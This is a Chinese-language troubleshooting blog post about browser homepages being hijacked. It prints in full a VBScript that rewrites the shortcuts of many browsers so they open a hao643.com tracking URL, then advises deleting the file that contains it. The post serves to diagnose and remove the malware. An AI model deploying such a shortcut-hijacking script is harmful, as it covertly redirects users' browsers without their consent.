所有瀏覽器的首頁（主頁）被篡改？不知道哪個軟體修改的？或許你應該試試這個方法
阿新 • • 發佈：2018-12-12
不知道哪個軟體修改了我的主頁 如果主頁被篡改，而你又不想引入一大堆安全軟體到你的電腦中。
當每一段時間（比如說一小時）就會被修改成hao123或其他網址，你還找不到是哪個軟體修改的，那麼你可以看看這段程式碼：
On Error Resume Next:Const link = "http://hao643.com/?r=ggggg&m=e22":Const link360 = "http://hao643.com/?r=ggggg&m=e22&s=3":browsers = "114ie.exe,115chrome.exe, 1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowsr .exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe, launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe, tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe, xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths ="C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs, C:\Users\83692\Desktop,C:\Users\83692\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\83692\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\83692\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\83692\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:
看到程式碼中有http://hao643.com這個網址了嗎？這段程式碼的主要內容是：列出了所有瀏覽器，以及他們的檔案位置，還有他們要保持的網址（即這個http://hao643.com），換句話說：你的首頁被它劫持了。只要刪掉包含這個程式碼的檔案即可，如何刪除呢？有很多教程。貼一個教程